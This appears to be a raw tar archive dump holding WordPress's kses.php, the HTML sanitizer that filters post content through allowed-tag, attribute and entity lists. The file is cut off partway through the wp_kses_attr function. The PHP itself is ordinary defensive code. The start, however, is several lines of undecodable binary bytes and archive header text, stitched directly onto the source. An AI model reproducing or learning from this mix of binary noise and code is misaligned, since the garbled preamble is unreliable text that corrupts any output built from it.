ӽ�Z4>�������ۧ���gN��:��4Nr#�(�ԕ���@ι�/gC�~'2�N��(h�;{��	a˾����|\�X�f;b7'��b�ݡ5��t�ASV��m���׫�eH*�7B�zpʣ���v}��^ep������������2#�4ɓ�܎�?�v��f�A�m�V��K��v�6�]��G��9p*3�SAH~.�;L.�6����G�N��}�]�lk��G�wկM/���u�/��m�f�W\�/C9y���$���b�x)�]���<s�í<���M�2�.�(��j0Y�S����[�-"�@`��UBQ1p��0EL1/���ie3��K����+ijq��rn1f��������m�\�qOU6U�B�c�]�]�<��ðt��dT�$(�W�Kcm��EV?s�XO�fR7�k���5�c���o����n�;ҟMD���m���d�}��i�U��:>^~[I_�@�c�4�J#���X�Z���&R�$@�Ƿ$�̵�QR��U~�G���}�G�?Y���u��C����z��'��BN��,^��8M��P�jԟ�J�,8�1�߫J�j���l.���Y<p�om��obߓY�W8D4(s�2�95
e��:A]�'<�sZ�Y���y��3B����TI&�SY@)�Ɗk�:A���ކ~H|0��	��uՙ�fЪ�C�h����8�LR/�	^nfs"�8W�����#�`?*�TA��e���Ѥ���֣�G��X�c-�+ͿQP��zn�4]]X�	�F�S�@I]��)l��ڵ[x�@��~mQ�m!t�	���u���Ԁ���G�`l�T*U�,<n߃�@�̓�p���w�K�y=����_��8�O14338/kses.php.tar000064400000225000151024420100007455 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/kses.php000064400000221350151024200240023023 0ustar00<?php
/**
 * kses 0.2.2 - HTML/XHTML filter that only allows some elements and attributes
 * Copyright (C) 2002, 2003, 2005  Ulf Harnhammar
 *
 * This program is free software and open source software; you can redistribute
 * it and/or modify it under the terms of the GNU General Public License as
 * published by the Free Software Foundation; either version 2 of the License,
 * or (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT
 * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
 * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for
 * more details.
 *
 * You should have received a copy of the GNU General Public License along
 * with this program; if not, write to the Free Software Foundation, Inc.,
 * 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
 * http://www.gnu.org/licenses/gpl.html
 *
 * [kses strips evil scripts!]
 *
 * Added wp_ prefix to avoid conflicts with existing kses users
 *
 * @version 0.2.2
 * @copyright (C) 2002, 2003, 2005
 * @author Ulf Harnhammar <http://advogato.org/person/metaur/>
 *
 * @package External
 * @subpackage KSES
 */

/**
 * Specifies the default allowable HTML tags.
 *
 * Using `CUSTOM_TAGS` is not recommended and should be considered deprecated. The
 * {@see 'wp_kses_allowed_html'} filter is more powerful and supplies context.
 *
 * When using this constant, make sure to set all of these globals to arrays:
 *
 *  - `$allowedposttags`
 *  - `$allowedtags`
 *  - `$allowedentitynames`
 *  - `$allowedxmlentitynames`
 *
 * @see wp_kses_allowed_html()
 * @since 1.2.0
 *
 * @var array[]|false Array of default allowable HTML tags, or false to use the defaults.
 */
if ( ! defined( 'CUSTOM_TAGS' ) ) {
	define( 'CUSTOM_TAGS', false );
}

// Ensure that these variables are added to the global namespace
// (e.g. if using namespaces / autoload in the current PHP environment).
global $allowedposttags, $allowedtags, $allowedentitynames, $allowedxmlentitynames;

if ( ! CUSTOM_TAGS ) {
	/**
	 * KSES global for default allowable HTML tags.
	 *
	 * Can be overridden with the `CUSTOM_TAGS` constant.
	 *
	 * @var array[] $allowedposttags Array of default allowable HTML tags.
	 * @since 2.0.0
	 */
	$allowedposttags = array(
		'address'    => array(),
		'a'          => array(
			'href'     => true,
			'rel'      => true,
			'rev'      => true,
			'name'     => true,
			'target'   => true,
			'download' => array(
				'valueless' => 'y',
			),
		),
		'abbr'       => array(),
		'acronym'    => array(),
		'area'       => array(
			'alt'    => true,
			'coords' => true,
			'href'   => true,
			'nohref' => true,
			'shape'  => true,
			'target' => true,
		),
		'article'    => array(
			'align' => true,
		),
		'aside'      => array(
			'align' => true,
		),
		'audio'      => array(
			'autoplay' => true,
			'controls' => true,
			'loop'     => true,
			'muted'    => true,
			'preload'  => true,
			'src'      => true,
		),
		'b'          => array(),
		'bdo'        => array(),
		'big'        => array(),
		'blockquote' => array(
			'cite' => true,
		),
		'br'         => array(),
		'button'     => array(
			'disabled' => true,
			'name'     => true,
			'type'     => true,
			'value'    => true,
		),
		'caption'    => array(
			'align' => true,
		),
		'cite'       => array(),
		'code'       => array(),
		'col'        => array(
			'align'   => true,
			'char'    => true,
			'charoff' => true,
			'span'    => true,
			'valign'  => true,
			'width'   => true,
		),
		'colgroup'   => array(
			'align'   => true,
			'char'    => true,
			'charoff' => true,
			'span'    => true,
			'valign'  => true,
			'width'   => true,
		),
		'del'        => array(
			'datetime' => true,
		),
		'dd'         => array(),
		'dfn'        => array(),
		'details'    => array(
			'align' => true,
			'open'  => true,
		),
		'div'        => array(
			'align' => true,
		),
		'dl'         => array(),
		'dt'         => array(),
		'em'         => array(),
		'fieldset'   => array(),
		'figure'     => array(
			'align' => true,
		),
		'figcaption' => array(
			'align' => true,
		),
		'font'       => array(
			'color' => true,
			'face'  => true,
			'size'  => true,
		),
		'footer'     => array(
			'align' => true,
		),
		'h1'         => array(
			'align' => true,
		),
		'h2'         => array(
			'align' => true,
		),
		'h3'         => array(
			'align' => true,
		),
		'h4'         => array(
			'align' => true,
		),
		'h5'         => array(
			'align' => true,
		),
		'h6'         => array(
			'align' => true,
		),
		'header'     => array(
			'align' => true,
		),
		'hgroup'     => array(
			'align' => true,
		),
		'hr'         => array(
			'align'   => true,
			'noshade' => true,
			'size'    => true,
			'width'   => true,
		),
		'i'          => array(),
		'img'        => array(
			'alt'      => true,
			'align'    => true,
			'border'   => true,
			'height'   => true,
			'hspace'   => true,
			'loading'  => true,
			'longdesc' => true,
			'vspace'   => true,
			'src'      => true,
			'usemap'   => true,
			'width'    => true,
		),
		'ins'        => array(
			'datetime' => true,
			'cite'     => true,
		),
		'kbd'        => array(),
		'label'      => array(
			'for' => true,
		),
		'legend'     => array(
			'align' => true,
		),
		'li'         => array(
			'align' => true,
			'value' => true,
		),
		'main'       => array(
			'align' => true,
		),
		'map'        => array(
			'name' => true,
		),
		'mark'       => array(),
		'menu'       => array(
			'type' => true,
		),
		'nav'        => array(
			'align' => true,
		),
		'object'     => array(
			'data' => array(
				'required'       => true,
				'value_callback' => '_wp_kses_allow_pdf_objects',
			),
			'type' => array(
				'required' => true,
				'values'   => array( 'application/pdf' ),
			),
		),
		'p'          => array(
			'align' => true,
		),
		'pre'        => array(
			'width' => true,
		),
		'q'          => array(
			'cite' => true,
		),
		'rb'         => array(),
		'rp'         => array(),
		'rt'         => array(),
		'rtc'        => array(),
		'ruby'       => array(),
		's'          => array(),
		'samp'       => array(),
		'span'       => array(
			'align' => true,
		),
		'section'    => array(
			'align' => true,
		),
		'small'      => array(),
		'strike'     => array(),
		'strong'     => array(),
		'sub'        => array(),
		'summary'    => array(
			'align' => true,
		),
		'sup'        => array(),
		'table'      => array(
			'align'       => true,
			'bgcolor'     => true,
			'border'      => true,
			'cellpadding' => true,
			'cellspacing' => true,
			'rules'       => true,
			'summary'     => true,
			'width'       => true,
		),
		'tbody'      => array(
			'align'   => true,
			'char'    => true,
			'charoff' => true,
			'valign'  => true,
		),
		'td'         => array(
			'abbr'    => true,
			'align'   => true,
			'axis'    => true,
			'bgcolor' => true,
			'char'    => true,
			'charoff' => true,
			'colspan' => true,
			'headers' => true,
			'height'  => true,
			'nowrap'  => true,
			'rowspan' => true,
			'scope'   => true,
			'valign'  => true,
			'width'   => true,
		),
		'textarea'   => array(
			'cols'     => true,
			'rows'     => true,
			'disabled' => true,
			'name'     => true,
			'readonly' => true,
		),
		'tfoot'      => array(
			'align'   => true,
			'char'    => true,
			'charoff' => true,
			'valign'  => true,
		),
		'th'         => array(
			'abbr'    => true,
			'align'   => true,
			'axis'    => true,
			'bgcolor' => true,
			'char'    => true,
			'charoff' => true,
			'colspan' => true,
			'headers' => true,
			'height'  => true,
			'nowrap'  => true,
			'rowspan' => true,
			'scope'   => true,
			'valign'  => true,
			'width'   => true,
		),
		'thead'      => array(
			'align'   => true,
			'char'    => true,
			'charoff' => true,
			'valign'  => true,
		),
		'title'      => array(),
		'tr'         => array(
			'align'   => true,
			'bgcolor' => true,
			'char'    => true,
			'charoff' => true,
			'valign'  => true,
		),
		'track'      => array(
			'default' => true,
			'kind'    => true,
			'label'   => true,
			'src'     => true,
			'srclang' => true,
		),
		'tt'         => array(),
		'u'          => array(),
		'ul'         => array(
			'type' => true,
		),
		'ol'         => array(
			'start'    => true,
			'type'     => true,
			'reversed' => true,
		),
		'var'        => array(),
		'video'      => array(
			'autoplay'    => true,
			'controls'    => true,
			'height'      => true,
			'loop'        => true,
			'muted'       => true,
			'playsinline' => true,
			'poster'      => true,
			'preload'     => true,
			'src'         => true,
			'width'       => true,
		),
	);

	/**
	 * @var array[] $allowedtags Array of KSES allowed HTML elements.
	 * @since 1.0.0
	 */
	$allowedtags = array(
		'a'          => array(
			'href'  => true,
			'title' => true,
		),
		'abbr'       => array(
			'title' => true,
		),
		'acronym'    => array(
			'title' => true,
		),
		'b'          => array(),
		'blockquote' => array(
			'cite' => true,
		),
		'cite'       => array(),
		'code'       => array(),
		'del'        => array(
			'datetime' => true,
		),
		'em'         => array(),
		'i'          => array(),
		'q'          => array(
			'cite' => true,
		),
		's'          => array(),
		'strike'     => array(),
		'strong'     => array(),
	);

	/**
	 * @var string[] $allowedentitynames Array of KSES allowed HTML entity names.
	 * @since 1.0.0
	 */
	$allowedentitynames = array(
		'nbsp',
		'iexcl',
		'cent',
		'pound',
		'curren',
		'yen',
		'brvbar',
		'sect',
		'uml',
		'copy',
		'ordf',
		'laquo',
		'not',
		'shy',
		'reg',
		'macr',
		'deg',
		'plusmn',
		'acute',
		'micro',
		'para',
		'middot',
		'cedil',
		'ordm',
		'raquo',
		'iquest',
		'Agrave',
		'Aacute',
		'Acirc',
		'Atilde',
		'Auml',
		'Aring',
		'AElig',
		'Ccedil',
		'Egrave',
		'Eacute',
		'Ecirc',
		'Euml',
		'Igrave',
		'Iacute',
		'Icirc',
		'Iuml',
		'ETH',
		'Ntilde',
		'Ograve',
		'Oacute',
		'Ocirc',
		'Otilde',
		'Ouml',
		'times',
		'Oslash',
		'Ugrave',
		'Uacute',
		'Ucirc',
		'Uuml',
		'Yacute',
		'THORN',
		'szlig',
		'agrave',
		'aacute',
		'acirc',
		'atilde',
		'auml',
		'aring',
		'aelig',
		'ccedil',
		'egrave',
		'eacute',
		'ecirc',
		'euml',
		'igrave',
		'iacute',
		'icirc',
		'iuml',
		'eth',
		'ntilde',
		'ograve',
		'oacute',
		'ocirc',
		'otilde',
		'ouml',
		'divide',
		'oslash',
		'ugrave',
		'uacute',
		'ucirc',
		'uuml',
		'yacute',
		'thorn',
		'yuml',
		'quot',
		'amp',
		'lt',
		'gt',
		'apos',
		'OElig',
		'oelig',
		'Scaron',
		'scaron',
		'Yuml',
		'circ',
		'tilde',
		'ensp',
		'emsp',
		'thinsp',
		'zwnj',
		'zwj',
		'lrm',
		'rlm',
		'ndash',
		'mdash',
		'lsquo',
		'rsquo',
		'sbquo',
		'ldquo',
		'rdquo',
		'bdquo',
		'dagger',
		'Dagger',
		'permil',
		'lsaquo',
		'rsaquo',
		'euro',
		'fnof',
		'Alpha',
		'Beta',
		'Gamma',
		'Delta',
		'Epsilon',
		'Zeta',
		'Eta',
		'Theta',
		'Iota',
		'Kappa',
		'Lambda',
		'Mu',
		'Nu',
		'Xi',
		'Omicron',
		'Pi',
		'Rho',
		'Sigma',
		'Tau',
		'Upsilon',
		'Phi',
		'Chi',
		'Psi',
		'Omega',
		'alpha',
		'beta',
		'gamma',
		'delta',
		'epsilon',
		'zeta',
		'eta',
		'theta',
		'iota',
		'kappa',
		'lambda',
		'mu',
		'nu',
		'xi',
		'omicron',
		'pi',
		'rho',
		'sigmaf',
		'sigma',
		'tau',
		'upsilon',
		'phi',
		'chi',
		'psi',
		'omega',
		'thetasym',
		'upsih',
		'piv',
		'bull',
		'hellip',
		'prime',
		'Prime',
		'oline',
		'frasl',
		'weierp',
		'image',
		'real',
		'trade',
		'alefsym',
		'larr',
		'uarr',
		'rarr',
		'darr',
		'harr',
		'crarr',
		'lArr',
		'uArr',
		'rArr',
		'dArr',
		'hArr',
		'forall',
		'part',
		'exist',
		'empty',
		'nabla',
		'isin',
		'notin',
		'ni',
		'prod',
		'sum',
		'minus',
		'lowast',
		'radic',
		'prop',
		'infin',
		'ang',
		'and',
		'or',
		'cap',
		'cup',
		'int',
		'sim',
		'cong',
		'asymp',
		'ne',
		'equiv',
		'le',
		'ge',
		'sub',
		'sup',
		'nsub',
		'sube',
		'supe',
		'oplus',
		'otimes',
		'perp',
		'sdot',
		'lceil',
		'rceil',
		'lfloor',
		'rfloor',
		'lang',
		'rang',
		'loz',
		'spades',
		'clubs',
		'hearts',
		'diams',
		'sup1',
		'sup2',
		'sup3',
		'frac14',
		'frac12',
		'frac34',
		'there4',
	);

	/**
	 * @var string[] $allowedxmlentitynames Array of KSES allowed XML entity names.
	 * @since 5.5.0
	 */
	$allowedxmlentitynames = array(
		'amp',
		'lt',
		'gt',
		'apos',
		'quot',
	);

	$allowedposttags = array_map( '_wp_add_global_attributes', $allowedposttags );
} else {
	$required_kses_globals = array(
		'allowedposttags',
		'allowedtags',
		'allowedentitynames',
		'allowedxmlentitynames',
	);
	$missing_kses_globals  = array();

	foreach ( $required_kses_globals as $global_name ) {
		if ( ! isset( $GLOBALS[ $global_name ] ) || ! is_array( $GLOBALS[ $global_name ] ) ) {
			$missing_kses_globals[] = '<code>$' . $global_name . '</code>';
		}
	}

	if ( $missing_kses_globals ) {
		_doing_it_wrong(
			'wp_kses_allowed_html',
			sprintf(
				/* translators: 1: CUSTOM_TAGS, 2: Global variable names. */
				__( 'When using the %1$s constant, make sure to set these globals to an array: %2$s.' ),
				'<code>CUSTOM_TAGS</code>',
				implode( ', ', $missing_kses_globals )
			),
			'6.2.0'
		);
	}

	$allowedtags     = wp_kses_array_lc( $allowedtags );
	$allowedposttags = wp_kses_array_lc( $allowedposttags );
}

/**
 * Filters text content and strips out disallowed HTML.
 *
 * This function makes sure that only the allowed HTML element names, attribute
 * names, attribute values, and HTML entities will occur in the given text string.
 *
 * This function expects unslashed data.
 *
 * @see wp_kses_post() for specifically filtering post content and fields.
 * @see wp_allowed_protocols() for the default allowed protocols in link URLs.
 *
 * @since 1.0.0
 *
 * @param string         $content           Text content to filter.
 * @param array[]|string $allowed_html      An array of allowed HTML elements and attributes,
 *                                          or a context name such as 'post'. See wp_kses_allowed_html()
 *                                          for the list of accepted context names.
 * @param string[]       $allowed_protocols Optional. Array of allowed URL protocols.
 *                                          Defaults to the result of wp_allowed_protocols().
 * @return string Filtered content containing only the allowed HTML.
 */
function wp_kses( $content, $allowed_html, $allowed_protocols = array() ) {
	if ( empty( $allowed_protocols ) ) {
		$allowed_protocols = wp_allowed_protocols();
	}

	$content = wp_kses_no_null( $content, array( 'slash_zero' => 'keep' ) );
	$content = wp_kses_normalize_entities( $content );
	$content = wp_kses_hook( $content, $allowed_html, $allowed_protocols );

	return wp_kses_split( $content, $allowed_html, $allowed_protocols );
}

/**
 * Filters one HTML attribute and ensures its value is allowed.
 *
 * This function can escape data in some situations where `wp_kses()` must strip the whole attribute.
 *
 * @since 4.2.3
 *
 * @param string $attr    The 'whole' attribute, including name and value.
 * @param string $element The HTML element name to which the attribute belongs.
 * @return string Filtered attribute.
 */
function wp_kses_one_attr( $attr, $element ) {
	$uris              = wp_kses_uri_attributes();
	$allowed_html      = wp_kses_allowed_html( 'post' );
	$allowed_protocols = wp_allowed_protocols();
	$attr              = wp_kses_no_null( $attr, array( 'slash_zero' => 'keep' ) );

	// Preserve leading and trailing whitespace.
	$matches = array();
	preg_match( '/^\s*/', $attr, $matches );
	$lead = $matches[0];
	preg_match( '/\s*$/', $attr, $matches );
	$trail = $matches[0];
	if ( empty( $trail ) ) {
		$attr = substr( $attr, strlen( $lead ) );
	} else {
		$attr = substr( $attr, strlen( $lead ), -strlen( $trail ) );
	}

	// Parse attribute name and value from input.
	$split = preg_split( '/\s*=\s*/', $attr, 2 );
	$name  = $split[0];
	if ( count( $split ) === 2 ) {
		$value = $split[1];

		/*
		 * Remove quotes surrounding $value.
		 * Also guarantee correct quoting in $attr for this one attribute.
		 */
		if ( '' === $value ) {
			$quote = '';
		} else {
			$quote = $value[0];
		}
		if ( '"' === $quote || "'" === $quote ) {
			if ( ! str_ends_with( $value, $quote ) ) {
				return '';
			}
			$value = substr( $value, 1, -1 );
		} else {
			$quote = '"';
		}

		// Sanitize quotes, angle braces, and entities.
		$value = esc_attr( $value );

		// Sanitize URI values.
		if ( in_array( strtolower( $name ), $uris, true ) ) {
			$value = wp_kses_bad_protocol( $value, $allowed_protocols );
		}

		$attr  = "$name=$quote$value$quote";
		$vless = 'n';
	} else {
		$value = '';
		$vless = 'y';
	}

	// Sanitize attribute by name.
	wp_kses_attr_check( $name, $value, $attr, $vless, $element, $allowed_html );

	// Restore whitespace.
	return $lead . $attr . $trail;
}

/**
 * Returns an array of allowed HTML tags and attributes for a given context.
 *
 * @since 3.5.0
 * @since 5.0.1 `form` removed as allowable HTML tag.
 *
 * @global array $allowedposttags
 * @global array $allowedtags
 * @global array $allowedentitynames
 *
 * @param string|array $context The context for which to retrieve tags. Allowed values are 'post',
 *                              'strip', 'data', 'entities', or the name of a field filter such as
 *                              'pre_user_description', or an array of allowed HTML elements and attributes.
 * @return array Array of allowed HTML tags and their allowed attributes.
 */
function wp_kses_allowed_html( $context = '' ) {
	global $allowedposttags, $allowedtags, $allowedentitynames;

	if ( is_array( $context ) ) {
		// When `$context` is an array it's actually an array of allowed HTML elements and attributes.
		$html    = $context;
		$context = 'explicit';

		/**
		 * Filters the HTML tags that are allowed for a given context.
		 *
		 * HTML tags and attribute names are case-insensitive in HTML but must be
		 * added to the KSES allow list in lowercase. An item added to the allow list
		 * in upper or mixed case will not recognized as permitted by KSES.
		 *
		 * @since 3.5.0
		 *
		 * @param array[] $html    Allowed HTML tags.
		 * @param string  $context Context name.
		 */
		return apply_filters( 'wp_kses_allowed_html', $html, $context );
	}

	switch ( $context ) {
		case 'post':
			/** This filter is documented in wp-includes/kses.php */
			$tags = apply_filters( 'wp_kses_allowed_html', $allowedposttags, $context );

			// 5.0.1 removed the `<form>` tag, allow it if a filter is allowing it's sub-elements `<input>` or `<select>`.
			if ( ! CUSTOM_TAGS && ! isset( $tags['form'] ) && ( isset( $tags['input'] ) || isset( $tags['select'] ) ) ) {
				$tags = $allowedposttags;

				$tags['form'] = array(
					'action'         => true,
					'accept'         => true,
					'accept-charset' => true,
					'enctype'        => true,
					'method'         => true,
					'name'           => true,
					'target'         => true,
				);

				/** This filter is documented in wp-includes/kses.php */
				$tags = apply_filters( 'wp_kses_allowed_html', $tags, $context );
			}

			return $tags;

		case 'user_description':
		case 'pre_term_description':
		case 'pre_user_description':
			$tags                = $allowedtags;
			$tags['a']['rel']    = true;
			$tags['a']['target'] = true;
			/** This filter is documented in wp-includes/kses.php */
			return apply_filters( 'wp_kses_allowed_html', $tags, $context );

		case 'strip':
			/** This filter is documented in wp-includes/kses.php */
			return apply_filters( 'wp_kses_allowed_html', array(), $context );

		case 'entities':
			/** This filter is documented in wp-includes/kses.php */
			return apply_filters( 'wp_kses_allowed_html', $allowedentitynames, $context );

		case 'data':
		default:
			/** This filter is documented in wp-includes/kses.php */
			return apply_filters( 'wp_kses_allowed_html', $allowedtags, $context );
	}
}

/**
 * You add any KSES hooks here.
 *
 * There is currently only one KSES WordPress hook, {@see 'pre_kses'}, and it is called here.
 * All parameters are passed to the hooks and expected to receive a string.
 *
 * @since 1.0.0
 *
 * @param string         $content           Content to filter through KSES.
 * @param array[]|string $allowed_html      An array of allowed HTML elements and attributes,
 *                                          or a context name such as 'post'. See wp_kses_allowed_html()
 *                                          for the list of accepted context names.
 * @param string[]       $allowed_protocols Array of allowed URL protocols.
 * @return string Filtered content through {@see 'pre_kses'} hook.
 */
function wp_kses_hook( $content, $allowed_html, $allowed_protocols ) {
	/**
	 * Filters content to be run through KSES.
	 *
	 * @since 2.3.0
	 *
	 * @param string         $content           Content to filter through KSES.
	 * @param array[]|string $allowed_html      An array of allowed HTML elements and attributes,
	 *                                          or a context name such as 'post'. See wp_kses_allowed_html()
	 *                                          for the list of accepted context names.
	 * @param string[]       $allowed_protocols Array of allowed URL protocols.
	 */
	return apply_filters( 'pre_kses', $content, $allowed_html, $allowed_protocols );
}

/**
 * Returns the version number of KSES.
 *
 * @since 1.0.0
 *
 * @return string KSES version number.
 */
function wp_kses_version() {
	return '0.2.2';
}

/**
 * Searches for HTML tags, no matter how malformed.
 *
 * It also matches stray `>` characters.
 *
 * @since 1.0.0
 * @since 6.6.0 Recognize additional forms of invalid HTML which convert into comments.
 *
 * @global array[]|string $pass_allowed_html      An array of allowed HTML elements and attributes,
 *                                                or a context name such as 'post'.
 * @global string[]       $pass_allowed_protocols Array of allowed URL protocols.
 *
 * @param string         $content           Content to filter.
 * @param array[]|string $allowed_html      An array of allowed HTML elements and attributes,
 *                                          or a context name such as 'post'. See wp_kses_allowed_html()
 *                                          for the list of accepted context names.
 * @param string[]       $allowed_protocols Array of allowed URL protocols.
 * @return string Content with fixed HTML tags
 */
function wp_kses_split( $content, $allowed_html, $allowed_protocols ) {
	global $pass_allowed_html, $pass_allowed_protocols;

	$pass_allowed_html      = $allowed_html;
	$pass_allowed_protocols = $allowed_protocols;

	$token_pattern = <<<REGEX
~
	(                      # Detect comments of various flavors before attempting to find tags.
		(<!--.*?(-->|$))   #  - Normative HTML comments.
		|
		</[^a-zA-Z][^>]*>  #  - Closing tags with invalid tag names.
		|
		<![^>]*>           #  - Invalid markup declaration nodes. Not all invalid nodes
		                   #    are matched so as to avoid breaking legacy behaviors.
	)
	|
	(<[^>]*(>|$)|>)        # Tag-like spans of text.
~x
REGEX;
	return preg_replace_callback( $token_pattern, '_wp_kses_split_callback', $content );
}

/**
 * Returns an array of HTML attribute names whose value contains a URL.
 *
 * This function returns a list of all HTML attributes that must contain
 * a URL according to the HTML specification.
 *
 * This list includes URI attributes both allowed and disallowed by KSES.
 *
 * @link https://developer.mozilla.org/en-US/docs/Web/HTML/Attributes
 *
 * @since 5.0.1
 *
 * @return string[] HTML attribute names whose value contains a URL.
 */
function wp_kses_uri_attributes() {
	$uri_attributes = array(
		'action',
		'archive',
		'background',
		'cite',
		'classid',
		'codebase',
		'data',
		'formaction',
		'href',
		'icon',
		'longdesc',
		'manifest',
		'poster',
		'profile',
		'src',
		'usemap',
		'xmlns',
	);

	/**
	 * Filters the list of attributes that are required to contain a URL.
	 *
	 * Use this filter to add any `data-` attributes that are required to be
	 * validated as a URL.
	 *
	 * @since 5.0.1
	 *
	 * @param string[] $uri_attributes HTML attribute names whose value contains a URL.
	 */
	$uri_attributes = apply_filters( 'wp_kses_uri_attributes', $uri_attributes );

	return $uri_attributes;
}

/**
 * Callback for `wp_kses_split()`.
 *
 * @since 3.1.0
 * @access private
 * @ignore
 *
 * @global array[]|string $pass_allowed_html      An array of allowed HTML elements and attributes,
 *                                                or a context name such as 'post'.
 * @global string[]       $pass_allowed_protocols Array of allowed URL protocols.
 *
 * @param array $matches preg_replace regexp matches
 * @return string
 */
function _wp_kses_split_callback( $matches ) {
	global $pass_allowed_html, $pass_allowed_protocols;

	return wp_kses_split2( $matches[0], $pass_allowed_html, $pass_allowed_protocols );
}

/**
 * Callback for `wp_kses_split()` for fixing malformed HTML tags.
 *
 * This function does a lot of work. It rejects some very malformed things like
 * `<:::>`. It returns an empty string, if the element isn't allowed (look ma, no
 * `strip_tags()`!). Otherwise it splits the tag into an element and an attribute
 * list.
 *
 * After the tag is split into an element and an attribute list, it is run
 * through another filter which will remove illegal attributes and once that is
 * completed, will be returned.
 *
 * @access private
 * @ignore
 * @since 1.0.0
 * @since 6.6.0 Recognize additional forms of invalid HTML which convert into comments.
 *
 * @param string         $content           Content to filter.
 * @param array[]|string $allowed_html      An array of allowed HTML elements and attributes,
 *                                          or a context name such as 'post'. See wp_kses_allowed_html()
 *                                          for the list of accepted context names.
 * @param string[]       $allowed_protocols Array of allowed URL protocols.
 *
 * @return string Fixed HTML element
 */
function wp_kses_split2( $content, $allowed_html, $allowed_protocols ) {
	$content = wp_kses_stripslashes( $content );

	/*
	 * The regex pattern used to split HTML into chunks attempts
	 * to split on HTML token boundaries. This function should
	 * thus receive chunks that _either_ start with meaningful
	 * syntax tokens, like a tag `<div>` or a comment `<!-- ... -->`.
	 *
	 * If the first character of the `$content` chunk _isn't_ one
	 * of these syntax elements, which always starts with `<`, then
	 * the match had to be for the final alternation of `>`. In such
	 * case, it's probably standing on its own and could be encoded
	 * with a character reference to remove ambiguity.
	 *
	 * In other words, if this chunk isn't from a match of a syntax
	 * token, it's just a plaintext greater-than (`>`) sign.
	 */
	if ( ! str_starts_with( $content, '<' ) ) {
		return '&gt;';
	}

	/*
	 * When certain invalid syntax constructs appear, the HTML parser
	 * shifts into what's called the "bogus comment state." This is a
	 * plaintext state that consumes everything until the nearest `>`
	 * and then transforms the entire span into an HTML comment.
	 *
	 * Preserve these comments and do not treat them like tags.
	 *
	 * @see https://html.spec.whatwg.org/#bogus-comment-state
	 */
	if ( 1 === preg_match( '~^(?:</[^a-zA-Z][^>]*>|<![a-z][^>]*>)$~', $content ) ) {
		/**
		 * Since the pattern matches `</…>` and also `<!…>`, this will
		 * preserve the type of the cleaned-up token in the output.
		 */
		$opener  = $content[1];
		$content = substr( $content, 2, -1 );

		do {
			$prev    = $content;
			$content = wp_kses( $content, $allowed_html, $allowed_protocols );
		} while ( $prev !== $content );

		// Recombine the modified inner content with the original token structure.
		return "<{$opener}{$content}>";
	}

	/*
	 * Normative HTML comments should be handled separately as their
	 * parsing rules differ from those for tags and text nodes.
	 */
	if ( str_starts_with( $content, '<!--' ) ) {
		$content = str_replace( array( '<!--', '-->' ), '', $content );

		while ( ( $newstring = wp_kses( $content, $allowed_html, $allowed_protocols ) ) !== $content ) {
			$content = $newstring;
		}

		if ( '' === $content ) {
			return '';
		}

		// Prevent multiple dashes in comments.
		$content = preg_replace( '/--+/', '-', $content );
		// Prevent three dashes closing a comment.
		$content = preg_replace( '/-$/', '', $content );

		return "<!--{$content}-->";
	}

	// It's seriously malformed.
	if ( ! preg_match( '%^<\s*(/\s*)?([a-zA-Z0-9-]+)([^>]*)>?$%', $content, $matches ) ) {
		return '';
	}

	$slash    = trim( $matches[1] );
	$elem     = $matches[2];
	$attrlist = $matches[3];

	if ( ! is_array( $allowed_html ) ) {
		$allowed_html = wp_kses_allowed_html( $allowed_html );
	}

	// They are using a not allowed HTML element.
	if ( ! isset( $allowed_html[ strtolower( $elem ) ] ) ) {
		return '';
	}

	// No attributes are allowed for closing elements.
	if ( '' !== $slash ) {
		return "</$elem>";
	}

	return wp_kses_attr( $elem, $attrlist, $allowed_html, $allowed_protocols );
}

/**
 * Removes all attributes, if none are allowed for this element.
 *
 * If some are allowed it calls `wp_kses_hair()` to split them further, and then
 * it builds up new HTML code from the data that `wp_kses_hair()` returns. It also
 * removes `<` and `>` characters, if there are any left. One more thing it does
 * is to check if the tag has a closing XHTML slash, and if it does, it puts one
 * in the returned code as well.
 *
 * An array of allowed values can be defined for attributes. If the attribute value
 * doesn't fall into the list, the attribute will be removed from the tag.
 *
 * Attributes can be marked as required. If a required attribute is not present,
 * KSES will remove all attributes from the tag. As KSES doesn't match opening and
 * closing tags, it's not possible to safely remove the tag itself, the safest
 * fallback is to strip all attributes from the tag, instead.
 *
 * @since 1.0.0
 * @since 5.9.0 Added support for an array of allowed values for attributes.
 *              Added support for required attributes.
 *
 * @param string         $element           HTML element/tag.
 * @param string         $attr              HTML attributes from HTML element to closing HTML element tag.
 * @param array[]|string $allowed_html      An array of allowed HTML elements and attributes,
 *                                          or a context name such as 'post'. See wp_kses_allowed_html()
 *                                          for the list of accepted context names.
 * @param string[]       $allowed_protocols Array of allowed URL protocols.
 * @return string Sanitized HTML element.
 */
function wp_kses_attr( $element, $attr, $allowed_html, $allowed_protocols ) {
	if ( ! is_array( $allowed_html ) ) {
		$allowed_html = wp_kses_allowed_html( $allowed_html );
	}

	// Is there a closing XHTML slash at the end of the attributes?
	$xhtml_slash = '';
	if ( preg_match( '%\s*/\s*$%', $attr ) ) {
		$xhtml_slash = ' /';
	}

	// Are any attributes allowed at all for this element?
	$element_low = strtolower( $element );
	if ( empty( $allowed_html[ $element_low ] ) || true === $allowed_html[ $element_low ] ) {
		return "<$element$xhtml_slash>";
	}

	// Split it.
	$attrarr = wp_kses_hair( $attr, $allowed_protocols );

	// Check if there are attributes that are required.
	$required_attrs = array_filter(
		$allowed_html[ $element_low ],
		static function ( $required_attr_limits ) {
			return isset( $required_attr_limits['required'] ) && true === $required_attr_limits['required'];
		}
	);

	/*
	 * If a required attribute check fails, we can return nothing for a self-closing tag,
	 * but for a non-self-closing tag the best option is to return the element with attributes,
	 * as KSES doesn't handle matching the relevant closing tag.
	 */
	$stripped_tag = '';
	if ( empty( $xhtml_slash ) ) {
		$stripped_tag = "<$element>";
	}

	// Go through $attrarr, and save the allowed attributes for this element in $attr2.
	$attr2 = '';
	foreach ( $attrarr as $arreach ) {
		// Check if this attribute is required.
		$required = isset( $required_attrs[ strtolower( $arreach['name'] ) ] );

		if ( wp_kses_attr_check( $arreach['name'], $arreach['value'], $arreach['whole'], $arreach['vless'], $element, $allowed_html ) ) {
			$attr2 .= ' ' . $arreach['whole'];

			// If this was a required attribute, we can mark it as found.
			if ( $required ) {
				unset( $required_attrs[ strtolower( $arreach['name'] ) ] );
			}
